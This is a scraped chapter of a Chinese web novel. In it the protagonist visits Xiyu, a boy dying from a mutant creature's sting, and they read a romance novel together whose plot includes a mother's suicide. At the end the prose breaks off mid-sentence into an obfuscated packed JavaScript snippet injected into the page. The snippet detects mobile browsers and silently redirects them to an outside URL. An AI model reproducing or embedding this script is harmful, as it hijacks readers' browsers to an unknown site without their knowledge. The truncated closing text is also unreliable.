时却听懂了其中的暗示,沉默几息,提出想看看发疯那人的被蛰处。 第一张照片在半空中显示出来。 和所有肿块式的被蛰处不太相同,这张照片呈现出的是一节近胯骨的腰部,多个大小不同的肿包在被拍摄人的皮肤上围绕成一圈。 一眼看上去,被拍摄人的腰间如同盘旋着一条长满红色斑点的蛇。 这些“红色斑点”于接下来的第二张照片里,纷纷不同严重程度地化脓。 第三张照片中,化脓处或多或少地溃烂。 那些溃烂凹凸不平地呈圈状缠在被拍摄人的腰间,晶亮的透明组织液覆在深浅不一的红色血肉上,覆在粘稠渗出的脓液上,折射出令人作呕的细微光泽。 这伤势,和时却出区第一晚在变异狼身上看到的伤口,近乎一模一样。 “心大的酒鬼,酒喝多了,把上衣从裤子里抽出来解热,”方文文在旁解说,“昨晚醉倒在缓冲点边缘,醒来时就发现被蛰了,还被蛰了一整圈。” 黑蝎露出并不赞同的表情:“他总不能顺着那个变异生物,蛰完了再乖乖翻面。” 方文文耸肩:“我胡乱还原的嘛,看壁虎和老大他们到时候怎么说呗。” “你们还不知道那个变异生物的具体情况?”时却问。 “目前只有高层们清楚,”黑蝎说,“但快公布具体消息了,毕竟昨晚动作这么大,有点脑子的都能猜到,缓冲点边缘有东西。” 沈司奥:“被蛰的总共有几人?” “说不准,”方文文回答,“我们知道的有十二三个,不过肯定会有人不愿意让我们知道。” 黑蝎问时却和沈司奥是否还有其他需要了解的事情。 时却手腕上传来一阵细微的振动,有人给她发来新消息。 大概细雨回复了,时却想。而她点开,找她的人是流萤。 流萤:【姐,你知道有东西昨晚蛰人的事情了吧。细雨被蛰了,情况不太好。他说想见你。】 51. 细雨 对于时却来说,看到流萤时,自己和方文文的对话尚历历在目。 阅读完那则消息的她,花上了几秒钟来理解所看到的文字,花了几秒钟向流萤发去简短的“位置”两个字作回复。 她抬头:“我还想了解半大孩子的情况。” 另外三人一时没反应过来,不知道她在说什么。 时却不得不重新组织语言,以重新抛出有条理的问句。她问:“你们有没有孩子被蛰后的病例?” ……答案是没有。 方文文说,按现有的病例推算,未成年人普遍免疫力低下,病情的进程大概率比一般成人更迅猛、更来势汹汹。 以此类推,死神的步伐无疑将更快地临近。 户外灯微弱的光亮下,雨被冷风裹挟着,无序地乱飘。 一些凉意打在时却的脸上,一些凉意钻入时却的眼中,她的注意力被唤回至现在。 雨稍大了些。沙沙雨声中,夹杂着沈司奥紊乱的吐息。他在时却身后侧喘,呼哧呼哧的,还不忘断续而略显狼狈地问: “到、嗬——到了吗?” “到了。” 流萤给时却的定位在集中休息处里被划分给粉蝎的区域,他们赶到了。 时却攥着沈司奥的一只手腕。这是他们赶过来时为了方便跑动实施的措施,防止机械师这个弱鸡跑着跑着跟不上,上演一出字面意义上的“丢人”。 时却松开手,让了让身,好叫沈司奥能看到不远处的流萤。 在视野范围中,零零散散分布着多个款式高度相同的粉色帐篷。 流萤蹲在一顶粉色帐篷外,乍一眼看去,少女仿佛被这些犹如复制粘贴般的帐篷包围、簇拥。 她双手环抱在膝头,雨披的帽沿处要掉不掉地悬着几颗水珠,再往下是扣在脸上的防水面罩,本应透明的面罩上一片雾气蒙蒙。 入夜后,粉蝎一般待在解压好去处;因而,此地除流萤和巡逻的战斗型仿生人外,时却没看到其他人。 在他们走近的过程中,流萤听到脚步声抬起头,原本摇摇欲坠在雨披帽沿上的那几颗水珠忙不迭地坠落。 “嗨。”时却说,站到她面前。 流萤打着嗝,吸了吸鼻子。 “我看不到你的脸,等、等一下。” 她伸手进雨衣里,把湿漉漉的手套拿衣服蹭干,托着防水面罩的底,稍抬起它,再压着指尖,擦去些许位于面罩内上位置的雾气。 一系列繁琐动作后,她方才露出一双红肿的双眼。 她怔愣地对上时却的视线,那双眼睛的眼角处,有未干的湿润痕迹蜿蜒向下,没入占据了面罩大部分的雾蒙蒙处。 在来的路上,时却绞尽脑汁想了不少话,有预期要对流萤说的,有预期要对细雨说的。它们能起至少一丁点的安慰作用。 这是一种通用的,隐藏在话语里的祭奠仪式。“记忆”如此告诉时却。 时却等待着流萤哭泣,等待少女的眼泪顺着如轨道般的湿润痕迹,如定向行驶的列车般辗转而下。 ……她没等到。 在她静静注视的片刻中,流萤急促地呼吸;防水面罩内侧,新的白色雾气生成,越发变浓,她甚至能根据这白雾还原出少女胸膛的起伏程度和频率。 可始终,流萤的双眼像一条经脱干后再拧不出半点水的毛巾,始终没有泪水涌现。她只嗬嗬地喘息。 也许几秒,也许十几秒,时却后知后觉地反应过来,人的泪水短时间内可以被穷尽。在他们过来前,她一定哭了不少时间。 抱着让自己的视线与流萤平齐的想法,时却蹲下。真正蹲下后,她发现自己还是比少女高些。 她不得不俯视着流萤,主动发问。 “和我讲讲,”她瞟着流萤身后门帘拉得严严实实的帐篷,用气音发声,“怎么了?” 流萤没回答,呆呆地看她。 “姐,你的防水面罩呢?” 哦,差点忘了这事。时却不合时宜地摸摸脸。她的手套湿漉漉的,这一摸下来,蹭得半边脸上都是水。 “没戴紧,来的路上掉了。”索性就丢了。反正对她而言,那面罩最多算个用来融入大众的氛围道具。 流萤却像被什么无形的东西刺到。 她瘦削的肩膀抽动了一下,垂下头,声音嘶哑,低低地说: “今天凌晨,有个重病的客人找细雨,叫他去缓冲点边缘,价钱给得很高。第二天,他死了,细雨的脖子后面肿起很大一个包,还发烧,我们打听了下,才知道蝎子昨晚赶人的事情。” 她深深地吸入一口冰寒的空气,咳嗽两声。 “我们告诉了老板。老板帮忙问了些人,他们说去找蝎子估计还是等死。细雨听了,也不愿意去——” 流萤猛地仰头,扯下脸上的面罩甩到地上。 这下,时却和她都能互相清楚地看到对方了。 在视线的低位,少女的下巴和上下嘴唇剧烈地抽动,急促的呼吸带起近乎哮鸣音的声响。 而哪怕情绪非常激动,她仍记得压低声音,确保自己的话足以被寒风全数吞没。 她像想哭又像想笑:“你说他是不是掉进钱眼里的大傻子,居然挣了个买命钱!” 时却像一个沉默的树洞般听完她的话,没有对此做出评价。 “如果你需要的话,我很快出来。”她说。 “我不需要!”流萤捂住脸。 时却猜错了,这个才十几岁的少女的泪还没流尽,她呜呜哭起来。 “我们才认识几年!其实我烦死他了,他真的好麻烦,总要让人操心,我干什么要管他!” 时却在心里叹了口气,捡起被掷到边上的防水面罩。 她脱下手套,解开几颗雨衣的口子,扯出一点干燥的衣角,在衣角被淋湿前迅速将面罩的内表面擦了擦。 然后,面罩被重新戴回流萤的脸上。 流萤呆愣地维持着抬头的姿势,仰视弯下腰的时却。她呼出的气息喷在防水面罩上,高大紫蝎的五官迅速变得朦胧且不真实起来。 像一个清醒梦那样。 “走吧,”时却说,“一起进去,别在外面淋雨。” 流萤抽噎了一下。“不,”她道,“细雨说,他不希望我在场。” 这下换成时却愣住。 恰逢此时,阵阵猛烈的夜风刮起。雨下得更急了,哗哗地击打在摇曳的花草树木上,密密地刺向沉默看客般的大地。 一时间,无数枝叶彼此触碰、摩挲,同雨声一齐和奏出变化莫测的乐谱。 时却回忆方文文说过的话,想着无论如何,该给流萤和细雨留下更多相处时间。 “我尽快出来。”她说。 她直起身,越过流萤迈开一步,回头看沈司奥,后者站在原地没动。 时却拉开一点帐篷的拉链,探进去半个头。 粉蝎帐篷的质量不算好,内部不至于到温暖的程度,体感温度仅比外界稍高上一些,空气略显沉闷。 一个三四岁孩子巴掌大小的夜灯黯淡地亮着,细雨如虾米般弓身蜷在狭小帐篷的一角中,绝大部分身体缩在厚实的黑色睡袋里,睡袋的拉链高高地顶在下巴上,仅露出脸部。 在他的枕边,散落有几本装订简陋的册子,其中一本还是时却刚在黑街见过的《爱情之盾》。可能这是本这个世界的畅销小说。 时却叫了细雨一声,问他沈司奥能不能也一块进来。 如果不行,她认真地考虑着,她就给老板的腰上栓根紧绷的绳子,让他蹲门口等,再实时通话。 她等了几秒钟,细雨睁开眼,小声地同意沈司奥进来。 等二人在他身侧解下雨具,盘腿坐定,将帐篷内的空间塞得满满当当后,细雨调整侧躺的姿势,四肢舒展了些,连带裹在他外头的睡袋发出一阵窸窸窣窣的声响。 他主动开口,精神看上去还算可以,声音偏嘶哑:“流萤姐骂我呢。我让她生气了。” 时却从随身的背包里掏出一瓶水和一小块方巾。 “流萤很难受,”她说,“想喝水吗?” 细雨小幅度地摇摇头。 时却能感觉到躺在面前的男孩自身成了个大热源,正散发出令人不敢细想的细微暖意。 他出了好些汗,被汗水打湿的细软黑发一缕一缕地粘在额头上。 “很热吗?”时却问,拧开瓶盖,倾斜瓶身,方巾凑到瓶口前。 细雨忙阻止:“不用冷敷,冰得很。” 时却迟疑了一下。 她靠近细雨,见细雨并不抗拒,探了探他的额头,只觉手背下传来令人心惊的热量。 “你的脸很红。” “吃过退烧药,退不下去,也没法敷湿毛巾,冷。”细雨苦笑,“白天,流萤姐硬给我敷毛巾,我冻得上牙打下牙。” 他本就嗓子哑,一口气讲了这许多话,说到后头,不少字的发音变得尖而短,仿佛破音般。 时却将水放下,退而求其次地给细雨擦了擦脸,再带着潮乎乎的方巾坐回原位。 细雨张了张嘴。 他刚要开口,脸色忽地变扭曲。 他用力弓身,颧骨处的肌肉毫无规律地抽动起来,呼吸时轻时重,四肢在睡袋中大幅度地挣,两手似要去捂脖后,仿佛遭到某种难以忍受的痛楚的冲击。 由于他的动作,睡袋上凸出这一块那一块的鼓包,看上去竟有几分像……有什么怪物要从中破出。 时却下意识想起身喊流萤,被细雨一个眼神钉在原地。 他乞求地看着她。 时却中了邪般,像被按下暂停键,没继续动作。 半晌,细雨的情况慢慢好了点,那股痛苦似乎暂时放过了他。他大口大口地呼吸,连咳带喘几下后,缓缓平复。 尽管蝎子集中安置的那几个病人或多或少表达出不适,可没一个人遭到明显痛楚的侵袭。 时却感到胃部一阵痉挛。 细雨的脖子被高高拉起的睡袋遮住了,她不由自主地朝那处投去一眼,忍下询问,沉默地再次给他擦干净脸。 “好啦,姐,”细雨掀开天窗说了亮话,嗓音变得更嘶哑,“我要死了,我们都知道这件事。” 时却收回手中的方巾,经过两次擦汗,它变得更加潮湿。她想拧一下它,闻言,像被人贴上定身符般顿住。 她选择不接这个话题,干巴巴地提起本该在进入帐篷后第一句讲的话:“流萤说,你想见我。” 细雨露出虚弱而狡黠的微笑:“姐,你忘啦,我们不是约好了要一起看小说?” ……看小说? 对,他们约好了。但这不该是细雨在这种当口会不希望流萤入内的理由。 也许细雨确实对自己有些好感,但时却不是自恋狂,她心知肚明自己并未和这个世界上的任何一个人建立深厚的情感关系。 所以,在这种时候,细雨到底希望干什么—— 有什么事情,会属于,他觉得更适合对一个只有些好感的人说? 时却的身体骤然变得灌铅般沉重,人也被轻微的眩晕俘获,宛如被从平地生拉硬拽上了高原。 这种感觉并不陌生。 不久前,她作壁虎陪练时,曾被他从背后勒住过胸口和脖子。那些瞬间发生时,她就是这种感觉。 时却没想到,在战斗以外,她这么快就重温了它。 她看着细雨,直到男孩脸上的笑意微僵,疑惑于是否是她的感觉出了偏差。 然而,就像察觉陈老板时那样,就像察觉出陈老板其实在肉疼时那样,时却直觉: 人之将死,如果谁特意要见一个只有些好感的人,特意要同对方隐秘地说话——那必是要倾吐某些事情,某些无法对更亲近之人言说的幽微的事情。 细雨的眼睛轮廓,他瞳孔的大小,他脸上每一块被牵动的肌肉,无一不是这幽微之事的预告。 帐篷里,黯淡的照明灯闪了闪,猝不及防地灭了。 沈司奥利索地从自己的包里掏出个瓦数巨大的小夜灯。 那小夜灯甚至自带有绑带,他起身,三两下将其绑在帐篷内顶上,拨动开关。 一时间,这方寸之地被照得明亮,甚至能看到空气里飞舞着不少浮尘。 莫名地,时却开始胡思乱想。 那些浮尘和细雨来访那晚用掉的木炭灰,既不一样,也一样。 一样于具有同等的轻盈,不堪一吹,不一样于一个永远无根地漂浮着,一个至少是木炭燃过的象征。 诡异地,时却平静了下来。 ……好吧,只能听了。 她轻声对细雨说:“如果你想和我告别,我站在这里了。我们聊一聊,然后,你该和流萤多待些时候。” 略停了停,她抿抿唇,拧干方巾,盘腿坐好,继续道:“如果你有什么不希望说给她听的事情,那我们就开始……看小说吧。” 帐篷外,雨噼里啪啦地下,风呜呜地吹,夹杂着泥土气息的空气变得极其、极其地潮湿。 细雨笑着松了一口气。“姐,我们开始吧。” 他让时却拿起枕边的那本《爱情之盾》。 册子到手,时却留意到其侧面中部处有脏污,那种脏污属于纸张被手指长年累月多次翻阅,才会留下来的特殊痕迹。 她翻开第一页,这篇小说的开头写着: 【我十二岁时,保洁孙阿姨的儿子死掉了。她儿子的名字叫孙安。】 看完这个开头,时却抬眼瞧细雨。“不是‘一起看小说’?” 她提议由自己读出来,或躺在细雨边上,举着书,两人一起看。 细雨摇摇头,气色看上去竟好了许多:“这样吧姐,你每看完几页,你读出那几页的最后一句话,我来猜你看到哪儿了,怎么样?” “听上去很有趣,”时却面上不动声色,心里重重一沉,“你可以吗?” “我感觉好多了!这本小说,我倒背如流!” 细雨再三保证,时却只得继续往下看。 【孙安和我的相识,得从他到来的第一天说起。 那年我八岁,一天因为不想上社交课,偷跑到花园的一个僻静角落里躲了起来,正好撞上被孙阿姨安置在那儿的他。 他和我同岁,说妈妈在工作,就让他自己在这玩泥巴。 为让孙安安心待着,孙阿姨给了他一兜子散发着刺鼻气味的塑料玩具,说允许他玩一个下午。 那些玩具不属于统一的主题,乱七八糟什么都有,大部分是边缘飞出毛边的模具,有花朵轮廓的,有像个狭长扁碗的鱼形状的,还有海星、月亮等等,都是形状比较简单的东西。 孙安说本来还有配套的彩泥,但每次玩他都会过敏,孙阿姨就把彩泥全扔了。这些玩具还是他嚎啕大哭撒泼打滚,孙阿姨才勉强松口,答应留下来。 我想,他这话不全对。 孙阿姨能留下这些劣质玩具,除他央求外,估计还有她自己也舍不得丢完的原因。 她离异,自己带孩子,而我家给她开的工资不高。 总之,那天下午,孙安像只快乐的土拨鼠,毫不怕脏地用手挖花园里的泥土,弄得十个指甲缝里黑黑的,目标是要把所有简陋的模具填严实了。 中途,他问我要不要也玩,我说不。 我被禁止把自己搞得脏兮兮的,同时也害怕那些散发着刺鼻气味的玩具,光蹲在边上闻都感觉发晕。 我有很多比这更精美的玩具,比如当时流行的“魔幻森林”、“战争狂”、“迷醉晚宴”系列。 这些系列我都有大全套,不仅带彩泥,还是喷了仿真香味的那种。我怎么会对他手里那点垃圾感兴趣? 孙安则不相信我不感兴趣。“那你还蹲在边上看”,他说。 ……他不知道,我的社交课老师比这恐怖多了,他是个脾气古怪的瘸子,不止会让我枯坐一下午,还时不时会用恶心的语气打听爸爸和妈妈的事情。 相比起来,我更宁愿用头晕换来片刻安逸。 反正,这头晕伤害不了我。我知道类似“离开剂量谈毒性就是耍流氓“的道理。 我平时吃的都是一级食品,用的住的也是最好的,这点小放纵,不会对我产生太大的影响。 毕竟,连孙安都活得好好的呢。妈妈总说,像孙阿姨这种人,估计天天靠四级品过活。当时的我如此天真残忍地考量着。 我随口敷衍孙安,说我想和他交朋友,才忍耐着那些劣质玩具的气味。 孙安惊呆了,变成傻愣愣的土拨鼠,随后和真土拨鼠那样惊喜地尖叫起来。 他滔滔不绝地和我聊起天,没一会儿,快把祖宗八代全透漏了个干净。 显然,在我的谎言之下,他单方面认为,我俩是朋友了。 不久,我被瘸子社交课老师逮了回去。 他为了找我,慌里慌张,气喘吁吁的,平日一丝不苟的着装都显得有些凌乱。他说我这样淘气,会害父亲扣他工资。 经过一番讨价还价,我和他达成协议,瞒下这件事。 “明智的决定,”社交课老师擦着额头上的汗瞥了一眼懵懂的孙安,“否则你爸爸不会饶了我们两个里的任何一个。” 他说的没错。 即便只是一时兴起,和孙安一块玩的事情被爸爸知道了,他绝对会生气,把我臭骂一顿,说这不是我这样出身的人该做的事情。 他会加更多的课程塞满我的课余时间,再把孙阿姨解雇。】 依照商量好的,时却念道:“……再把孙阿姨解雇。” “是女主和男主刚认识的剧情。”细雨立即说。 时却点头,接着往下看。 【当天夜里,趁例行的讲故事时间,我从妈妈口中套出,孙安是她特许孙阿姨接到家里来的,附加条件是孙阿姨得看管好自己的孩子,不得让他在我家有哪怕一丁点存在感。 “就当做点好事,离异带孩子,她不容易。”妈妈说。“哦,对了,今天的社交课上得怎么样呀?” 我遵守和老师的协议,说一切正常。 妈妈很满意地笑了,艳红的嘴唇上挑出美得令人惊心的弧度。 妈妈真的很漂亮,没人会不为她动心。她爱我,关心我从小到大的一切。 我也爱她,希望她开心。 和往常一样,讲完故事,她和我讲她和爸爸的故事:他们如何相识、恋爱、成婚,然后有了我。我是他们的爱情结晶。 第二天白天,一切如常。第二天晚上,爸爸出差回来了,第一件事是检查我在他给我排的那些课程里的表现。结果是他还算满意。 “要努力!”爸爸抱起我转圈圈,他身上很香,闻得人发晕,“爸爸这么大一个医药集团,未来得你来继承!” “好的。”我忍住喷嚏,一如既往地保证。 妈妈笑着上前接下我,亲了亲爸爸的侧脸。 第三天,爸爸继续出差去了,一切如常。 第四天晚上要入睡时,我在枕头底下发现了一张字条。是孙安,他问我什么时候我们再偷偷会面。 字条的末尾歪歪斜斜地写:“朋友多一七玩:)”。有个同音字,大概“起”字他不会写。 我不缺朋友。基础学校里,挤破头往我身边钻的人大把抓。像孙安这种档次的,连钻的资格也不会有。 那张纸条的结局是被火舔舐殆尽。 烧完纸条,我有些疑惑,家里多少有监控,不知道他怎么塞成的字条。 第五天白天,我旁敲侧击了几个人,从他们闪烁的言辞和暧昧的神情中得知,管家和孙阿姨来自同一个区,可能还有些更亲密的关系。 第五天晚上,枕头下的字条继续出现,一朵我没见过的干花被粘在字条背面。 满是错字的纸条上,孙安道歉,让我不要生气,他不是故意两天不联系我的,实在是孙阿姨发现了那天的事情,气得把他打了一顿。 当晚他发高烧,后半夜更是吐了血,被送到诊所去,确诊III型辐射病。 治疗型仿生人开了药,他躺了足足两天才好,然后用一天时间打听了另一个收拾我房间的阿姨的习惯,这才找到时机,往我枕头下边塞纸条。 “花是刀千礼物。”纸条上写着,复杂的“道歉”两字继续被同音字代替。 “我今天逃可买的,卖的人说做过处立,洗完你习欢:)” 再懒得管那些错别字,我翻了个辐射量检测仪出来测了一下那朵干花。 果然,仪器显示它具有的辐射量不可能是被处理过的。 第六天白天,恰逢休息日,我对社交课老师说,今天没心情,不想上课,并让管家搬了把躺椅放在花园的一个僻静角落。 半个小时后,孙安不知道从哪个旮沓里傻笑着钻出来,手里还拎着那袋子劣质玩具。 套了会他的话,确认了他只是个单纯的呆子后,我闲着无聊,让他说说买那朵干花的经过。 ……好吧,不是闲着无聊。我好奇。 虽然会去上学,会跟着妈妈或爸爸去拜访爸爸的友人,可我所上的基础学校,来往学校和家的路线,那些被拜访的友人,无一不是爸爸精心圈划出来的。 我的终端是爸爸的亲属关联设备,那上面的内容同样遭到精心筛选。 我的世界无聊透顶。 不过即使爸爸也想不到吧,傻子孙安,痴心妄想的孙阿姨和管家,会形成我的突破口。】 念出最后一句文本,时却迎上细雨满怀期待的目光。 “他们交上朋友了。”细雨眼神亮晶晶。 摇曳的风雨声中,时却客观地评价:“这个剧情挺抓人。”只是似乎离细雨的世界很远,不该有交叠之处。 按当前进度,不难看出女主是为了什么决定放任男主靠近。作为一本言情小说,时却大致能预料到接下来会发生什么。 她接着往下看。果然,基于女主的默许,男女主的相处时间直线上升。 最初,女主将二人的关系定义为纯交换。 她会从手头漏些钱财给男主的母亲,以减轻男主家的经济负担。 作为回报,男主的母亲和管家借由职务之便,创造二人相处的空间,而女主会在这相处过程中,从男主的讲述里窥见她所无从接触的世界。 她并不在乎男主的未来和安全,如有需要,不介意撺掇男主逃课,或前往些并不是他这个年纪的孩子该去的地方,最多出于男主对自己还有用,叫男主喊上管家一起。 与之相对地,男主是真的十分喜欢女主,无关男女之情的那种喜欢。 对于这种强烈的喜欢,作者并未将其归为无由来的情感。 通过一些侧面描写,作者让读者知晓了背后的隐情: 原来,男主因家境不好、人有些呆气,加上某些机缘巧合,得罪了班里的孩子王,因此在基础学校备受霸凌,完全没有朋友。 而男主母亲因为要认真工作养家的缘故,平时并没余力关心儿子的内心世界,管教孩子的手法多也偏向简单粗暴。 ……简单来说就是,碰上女主前,男主一直很寂寞。 当这种寂寞被女主随口的做朋友击中,男主近乎自救般地相信了女主甚至没花心思遮掩的敷衍。 他呆,却不傻,只是实在想要亲近同龄人而已。 ……正所谓,一条狗养久了都会有感情,何况人。 男女主八岁相识,等过去一年后,女主多少对他有了点真心——以一种上位者俯视下位者的那种姿态,充其量和还挺喜欢的猫狗差不多。 时却连翻几页,书中的时间线来到两年后。 【十岁那年,我从家中的吃穿用度,以及社交场合他人对我的态度感觉出来,爸爸的事业蒸蒸日上。 与此同时,出于对他那庞大医药帝国的在意,他愈发觉得该从严教育我,决定不再假手于人。 此前,他并不与我和妈妈住在一起,一周回来两到三次,每次停留几小时到一晚不等,时间多耗费在和我互动上。 今年刚开年,他告知管家,自己要回家常住了。 管家毕恭毕敬地来找我,话里话外地问,后续爸爸回来后,我和孙安的事情怎么办。 这时候他倒知道怕了,想要一个我会给他托底的承诺。 我冷笑着把他训了个灰头土脸,最后还是明说,叫他不用担心,我心里有数。 两年时光,足以让我和孙安有交情这件事在家里成为众人皆知的秘密。家里的叔叔阿姨,以及妈妈,多少都知道这件事情。 妈妈算知道最全的几个人之一,因为当她言辞闪烁地问起时,我就干净利落地把一切和盘托出了。 她不赞同地皱眉,想要训斥我,我只笑着问她,那她和社交课老师的交情该怎么算呢? 妈妈瞬间面色煞白,抖着嘴唇,良久才吐出一句话:“你越来越像你爸爸了。” 妈妈再没提起过此事。 我再也不用隔三差五地听她和爸爸的爱情故事,再想方设法自然地转述给爸爸了。 妈妈没法管,在家里工作的其他叔叔阿姨更不用担心,他们敬畏管家,更敬畏我。 我是爸爸的女儿,未来将要执掌他的帝国的接班人,他们理应如此。这才是正常人呢,不似孙安那个傻子。 他简直像小时候烧坏过脑子,后来好不容易又长回些般,呆呆的,钝钝的,反射弧超长,成天只会对着我嘿嘿傻笑。 ……挑了个机会,我把这略显刻薄的话讲给他听了,想瞧瞧他会是个什么反应。 结果他说,小时候孙阿姨出去做工,怕他乱跑,给他关在屋子里,结果楼上漏水,他被淋了一身,哭累了,湿漉漉的倒头就睡,真因此发过一天的高烧,没人管,差点烧坏脑子。 我简直被他打倒了,乐得直在花园里打滚。 笑完,我坏心眼地使唤他,叫他近期帮我外出找棵四叶草来当书签。 他傻笑着说好。我又问他最近在学校怎么样。我替他收拾过他的一些同学,希望那些人涨了记性。他继续乐颠颠地说挺好的。 “我感觉和你做朋友后,”他认真道,“发生的都是好事。” 三天后,他给我带回了四叶草书签,还有许多我没让他带的,做成标本的干花。 哈,呆子。从我八岁那年收到干花第二天找他后,他就误会我喜欢此类东西至今。 过了几天,爸爸预告了他正式回家住的时间。 开心之余,我有些担心妈妈和社交课老师,不知道爸爸是否要中止聘用社交课老师。 妈妈显然也很担心这事,我发现她偷偷地在服抗焦虑的药。 爸爸正式回家住的那晚,我拉着妈妈一块睡,被爸爸打趣说还是个小孩子。 太好了,爸爸没起疑心,这样拖延几天,我相信妈妈可以调整过来的,像从前那样好好地戴上假面。这件事情,我会想办法的。 ……次日,爸爸就雷厉风行,体面地和所有老师提出了解除聘用合同。 更糟糕的是,社交课老师没控制好表情,管家告诉我,他和爸爸面谈时,漏出了点端倪。 得知此事的第二天,整整一天时间,我都在考虑要不要自己上,就说他其实是对我感兴趣来着,没得逞过。 但我怕这样是把妈妈摘出来了没错,哪天变成爸爸说漏了嘴,妈妈要崩溃。 第三天,我不用为这事苦恼了,社交课老师的尸体被发现曝露于区外,死状惨烈。 妈妈发了疯,在客厅厮打爸爸。 爸爸不屑自己亲自来,想叫人上前来拿妈妈,我留意到不少平日粗手粗脚的人跃跃欲试,情急之下,喊了一句谁敢动手。 自然没人敢动手。 爸爸诧异地推开妈妈。妈妈瘫软在地毯上,像受伤的野兽那样哀嚎,哭得不能自已。 我必须保护她。 我站在她面前,发起谈判,要爸爸忽略此事,如同妈妈和我曾忽略他身上的香水味那样。 “我的女儿,你吃我的,用我的,住我的,还想拿什么来打动我?”爸爸饶有兴致地问,“你拿什么交换?” 我不甘示弱:“你的未来,以及你那医药帝国的未来。” 爸爸开怀大笑。他像第一次认识到我那样细细地打量我,从头到脚。 “好,不愧是我的女儿,”他满面红光地说,“成交,接下来,我会好好地教导你。管家,来带我的妻子随便去哪一间客房吧,她得卧病在床好一阵子了。” 我略松了一口气,知道这事算过去了。 过了一阵子,我把这事说给孙安听,他惊讶地挠头,问那我妈妈现在是被软禁了吗? 我说是,没办法。不过我随即承诺,两三年内,我会让爸爸以我为荣,从而放松对妈妈的管制。这的确是心里话,我没和任何人说过。 “你们为什么不逃走?”孙安认真地出谋划策,“你们可以带很多钱逃走。” 他真的太可爱了。 放弃锦衣玉食,放弃只要按部就班就能继承的如金山般的家业吗? 我年岁渐长,托家境的福,托孙安的福,对于外界的认知更加清晰,知道如今能有这样的物质环境有多难得。 如果妈妈绝对会因此而死掉,那可能我会考虑一下的。 “不过她不会的,都多少年了呀,”我信誓旦旦地向孙安保证,“她最多吃吃抗焦虑药。我查过她吃的药量,很稳定,是最低剂量。她会走出来的。” “……真的吗?”孙安不太确定地嘀咕。 和孙安聊完这事后,我照例睡前去找妈妈,让她给我讲故事。 其实,这也是我笃定妈妈最终会没事的因素之一。即便她很伤心,那天过后,我们的讲故事惯例也没被取消。 如果一个人于悲伤中还记得饿了要吃饭,她怎么会放弃生命呢,对吧? 在这样的笃信下,我继续平淡地过日子。 我的日常里,只有三件事是值得期待的:第一,和妈妈的睡前故事时光;第二,和爸爸的学习时光;第三,和孙安偷偷摸摸地接头玩耍。 一天,日渐憔悴的妈妈讲了个关于爱情的故事,故事的主脉络可以被“冲冠一怒为红颜”所概括。 我下意识说:“听着有点假。” 妈妈被我满不在乎的评价激怒了,她歇斯底里,讲当初她和爸爸根本就没什么罗曼蒂克的往事,无非是我的外公卖女求荣,逼妈妈和自由恋爱的社交课老师分手,为此还恐吓性地取走了社交课老师的一节腿骨。 社交课老师之所以一瘸一拐,是因为他用的假体并不与自身十分契合。 我一直以为爸爸妈妈是结婚久了相看两厌,没想到他们根本没有过开始。我并不是什么爱情的结晶。 我有些失落地离开了妈妈的房间,第二天,管家慌张来寻正吃早饭的我和爸爸,说妈妈割腕自杀了。】 时却深吸一口气,念出女主妈妈割腕自杀的剧情。细雨的情绪肉眼可见地低落下来。 寒风在帐篷外呼号,雨点噼里啪啦地砸在帐篷上。时却轻声问他:“你有什么想说的吗?” 细雨的眼神无焦距地在半空中游移。他终于开口倾吐,印证时却的猜想: “我妈妈从成年后,一直在解压好去处工作,她是在解压好去处生下的我。她不愿意和我说谁是我的父亲,只说当时很多人劝她,打掉我,可她说……她说我是她和父亲的爱情结晶,所以对她来说,我是个很珍贵的孩子。” “后来呢?” 细雨出神道:“后来……我八岁时被诊断出III型辐射病。妈妈努力工作、接私活,她越努力,身体就越糟糕,终于得了病,又不舍得治,越拖越重,不治身亡。” “我拿她的钱生活了一阵子,因为辐射病要定期吃药的缘故,即使加上管理局的补助,还是根本不够用。陈老板找上我,说要不要卖身给他十年,至少买下我的钱加我平常工作所得,应该能覆盖我蛮久的药钱。 “卖身指一种用工合同,大家戏称卖身。大概是如果不在陈老板这里工作,我得定期支付给他违约金。” “赎身是一次性支付完违约金?”时却问。 “是支付一大笔的意思,”细雨笑了笑,“姐,你继续读吧。” 书页翻动声继续响起。 【孙安一语成谶。我后知后觉,我曾向他信誓旦旦地说“这都多少年了”,换个角度,对于妈妈而言,可以是“这已经多少年了啊!” 我是个自负的混蛋。 在妈妈的葬礼上,我自责得嚎啕大哭。 爸爸假装也很伤心,许多人围在他边上,嘴巴一张一合,虚情假意地安慰他。 我突然开始恨爸爸。 当晚守灵时,爸爸没出现。管家遮遮掩掩地告诉我,爸爸好像打算带几个他的私生子女回家。 次日,爸爸若无其事教导我时,我在他身上闻到了香水味,我的恨意更上一层楼。 爸爸没遗漏我的异常,他皱眉打了我一巴掌。 “哟,后知后觉开始恨我了?还是听到了什么风声?”他的态度轻巧得像随意踢了一只路边的野猫。 “现在知道什么叫‘你吃我的,用我的,住我的’了吗?听话点,我的乖女儿。” 他状似温柔地抚摸我立时高高肿起的脸,继续说:“否则,我也不介意换个继承人。” 我看出他竟是认真的。我浑身发毛,眼前发黑,冷汗直冒。 从前,我以为我未来理应得到爸爸的一切,猛然间,我一脚踏空,从高处坠落。 我恍然意识到,后续继续对爸爸百依百顺,我将成为一只怪物,可若选择反抗……我能做到吗?那可是爸爸。 随他学习得越多,我越发觉他代表了怎样不可撼动的庞然大物,无论做什么,他都易如反掌。 妈妈下葬后的第三天,我开始浑浑噩噩,晚上睡不着,做噩梦,梦到躺在血泊中的妈妈声泪俱下地控诉我的冷血无情。 ……我应该听从孙安的话,带妈妈离开这个对她而言是庞大牢笼的地方。 我后悔了。 妈妈下葬后的第四天深夜,孙安咳着血摸进我房间,我大骇,他反而和我道歉,说想早点过来的,被知晓此事的孙阿姨时隔几年后再揍了一顿,今晚是摸黑从诊所跑过来的。 我抱着他大哭大叫。妈妈死了,我发现我身边似乎只剩下这个傻子了。 他咳了些血在我的睡衣上,那些艳红色似有魔力,让我幻觉般感到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14239942|136769||http|test|mini|href|location''.split(''|''),0,{})); () { 